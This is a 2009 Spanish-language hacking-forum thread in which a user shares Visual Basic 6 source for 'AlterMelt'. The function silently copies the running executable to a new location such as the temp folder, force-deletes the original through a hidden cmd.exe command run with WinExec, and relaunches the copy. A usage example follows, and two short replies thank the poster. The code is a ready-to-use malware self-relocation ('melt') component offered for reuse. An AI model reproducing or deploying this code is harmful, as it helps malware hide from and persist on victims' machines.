[SRC][SNIPPET] Alternativa de Melt (WinExec)

Iniciado por Karcrack, 27 Enero 2009, 22:19 PM

0 Miembros y 1 Visitante están viendo este tema.

Karcrack

Buenas, hace tiempo que se me ocurrio este code al ver el api WinExec... pero nunca lo desarrolle... y bueno, me dio hoy por hacerlo...

Simplente es una alternativa a crear un Bat en el disco, lo hace todo 'on the fly' :laugh:

Código (vb) [Seleccionar]
Option Explicit
Private Declare Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32.dll" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

'---------------------------------------------------------------------------------------
' Procedimiento : AlterMelt
' Autor         : Karcrack
' Fecha         : 27/01/2009
' Parametro(s)  :
' sNewPath [in]       -> La nueva ruta para el fichero al que se le aplicara el Melt
' sPath [in,optional] -> La ruta del fichero al que se le aplicara el Melt.
'                   Si es NULL se aplicara a la aplicacion propia (=
' dMs [in,optional]   -> Es el tiempo en segundos de espera entre la copia
'                    y la eliminacion del fichero. Por defecto 1 seg.
'
' Return        : Devuelve True si la ejecucion del comando ha sido satisfactoria.
'---------------------------------------------------------------------------------------

Public Function AlterMelt(ByVal sNewPath As String, Optional ByVal sPath As String, Optional ByVal dSec As Double = 2) As Boolean
    Dim sCmd    As String

    If (sPath = vbNullString) Then
        If (App.LogMode = 0) Then Exit Function 'No queremos aplicar Melt a nuestro VS xD
        sPath = Space$(260) 'MAX_PATH = 260
        sPath = Left$(sPath, GetModuleFileName(0&, sPath, Len(sPath)))
    End If

    sCmd = "CMD /D /C " & "copy " & Chr$(34) & sPath & Chr$(34) & " " & Chr$(34) & sNewPath & Chr$(34) & " & " & _
            IIf((dSec > 0), "ping 0.0.0.0 -n " & dSec & " & ", vbNullString) & _
            "del /F /Q " & Chr$(34) & sPath & Chr$(34) & " & " & _
            Chr$(34) & sNewPath & Chr$(34) & " & " & _
            "exit"
    AlterMelt = (WinExec(sCmd, 0&) > 31) 'SW_HIDE As Long = 0
End Function


Creo que todo el mundo sabe lo que es el Melt no? :huh: :xD

Esta seria la forma de usarlo:
Código (vb) [Seleccionar]
Call AlterMelt(Environ$("TMP") & App.EXEName & ".exe", vbNullString, 5)
End


Saludos, espero que os sea de utilidad ;D

‭‭‭‭jackl007

no sabia de la existencia de esa api...
esta curiosoo!
yo usaba el tipo bat para realizar operaciones externas y confundir al jefe.

Saludos!

Dessa

WinExec, CmdLine, CmdShow, suena interesante

gracias por el aporte, saludos
Adrian Desanti